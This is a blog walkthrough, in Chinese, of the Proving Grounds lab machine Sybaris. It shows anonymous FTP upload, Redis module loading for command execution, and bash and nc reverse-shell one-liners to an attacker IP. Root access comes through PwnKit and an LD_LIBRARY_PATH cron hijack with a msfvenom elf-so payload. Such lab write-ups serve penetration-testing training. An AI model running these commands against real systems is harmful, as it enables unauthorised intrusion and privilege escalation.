Proving Grounds Practice : Sybaris Walkthrough

 Proving Grounds Practice : Sybaris Walkthrough


Foothole (立足點 ) :

  • Redis 的 CLI 介面與 Module 的載入應用後執行指令成功拿到 Reverse Shell

PE ( 提權 ) :

  • linpeas 跑完直接使用 PwnKit 提權成功

注意事項 :

  • redis-cli 的應用
  • 模組的載入
  • 指令的執行
  • LIBRARY 環境變數的利用,ldd 指令相依性使用
  • .so (elf-so) 格式的 payload


Rustscan,└─$ rustscan -a 192.168.166.93 --scripts none --ulimit 5000 | tee rustscan



snmp filtered,└─$ sudo nmap -sU -p 161 192.168.166.93 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 21,22,80,6379 192.168.166.93 | tee nmap

21/tcp   open  ftp     vsftpd 3.0.2

22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)

80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/7.3.22)

6379/tcp open  redis   Redis key-value store 5.0.9



FTP Anonymous 登入,有個路徑 /pub 寫入檔案 test.txt 測試成功



80 /



80 /robots.txt



gobuster 80



80 /login



測試了幾組帳號都顯示沒有該帳號存在


先往下跑 Redis,卡住了,應該要驗證或是 Port 不對



換了 6379 Port 進去了但是這個 shell 甚麼指令都沒有用




改跑 Reverse Shell,跑了 21 & 80 Port 都沒有成功



看來 Redis 是有用的只是我們的 PoC 利用後沒有結

參考 https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis

我們還可以使用 Redis 的指令 redis-cli 直接登入看看



└─$ redis-cli -h 192.168.166.93,登入後執行 INFO 看來是有值的



INFO 資料沒有甚麼用,查看文章相關利用後,發現可以載入模組(MODULE LOAD)
但要指定要載入的路徑



載入的 Modele 是 *.so 檔案,依據 hacktricks 網站提供的連結

參考 https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

教你自己 Build Modelu 然後載入就可以下指令了



之前在這一篇就有自己 Build 過 .so 的 module

參考 : https://your-it-note.blogspot.com/2024/03/proving-grounds-practice-wombo.html



之前就下載過了



一樣再 Build 一次,└─$ make -f Makefile 

可以看到 module.so 產生出來了


由於我們目前已經有了 module.so 檔案了,但 redis-cli 載入模組是在靶機上的路徑

目前要想辦法將檔案上傳到靶機上,已知的僅有 FTP 底下的 pub 目錄可以寫入

讓我們先透過 FTP 把模組上傳到靶機



回到 Redis CLI 介面載入模組,由於我們是透過 FTP 服務上傳

所以載入模組的路徑採用預設的路徑試試看 /var/ftp/pub/module.so

看來是成功的,依據 PoC 的指令使用 system.exec "id" & "whoami" 看來可以正常執行指令



下一步直接用 nc 打 reverse shell 回來看看 system.exec "nc 192.168.45.204 4444 -e /bin/bash"

結果沒有任何作用,因為一開始跑 Redis PoC 時也有限制 Port,所以改 6379 試試看

結果也是 GG 看來應該是無法使用 nc



測試了 rm 也不行,因為他後面也是接 nc,改用最簡單的 bash 試試看

system.exec "bash -i >& /dev/tcp/192.168.45.204/6379 0>&1"



這一次拿到 Reverse Shell 了



cat /etc/passwd



cat /etc/crontab



pspy64 執行後狂跳 Error



改跑 linpeas,又看到 PwnKit,看到這個就會想要嘗試



執行後又 root 了



補充說明 :

root 後又看了 Walkthrough 果然要我們走的路不是 PwnKit 而是那個 /etc/crontab 的結果

因為 pspy64 沒有結果改跑 linpeas 才會改用 PwnKit

回到 cat /etc/crontab 如下



重點在這一行 

LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils

此 crontab 檔案包含一個自訂 LD_LIBRARY_PATH 變量,它將 /usr/local/lib/utils 和 /usr/local/lib/dev 新增到搜尋庫檔案的位置清單中

檢查這些路徑,發現只有 /usr/local/lib/dev 的寫入存取權限



查看 /usr/local/lib/utils 和 /usr/local/lib/dev 的目錄,看到一個 utils.so



回看 crontab 裡面的那個路徑 /usr/bin/log-sweeper

使用 ldd 查看該檔案共享的 lib 相依列表

看到 utils.so 一樣的名稱但是找不到



讓我們直接來建立一個 payload 並取名叫 utils.so

*.so 檔案屬於 elf-so 格式




└─$ msfvenom -p linux/x64/shell_reverse_tcp -f elf-so -b '\x00\x0a\x0d' -o utils.so LHOST=192.168.45.204 LPORT=21



一樣透過 FTP 丟上去


將檔案移動到可寫入的 /usr/local/lib/dev 路徑


等待一段時間 Cron Job 執行後就看到 21 Listener 進來了

whoami & id 確認是管理者



留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)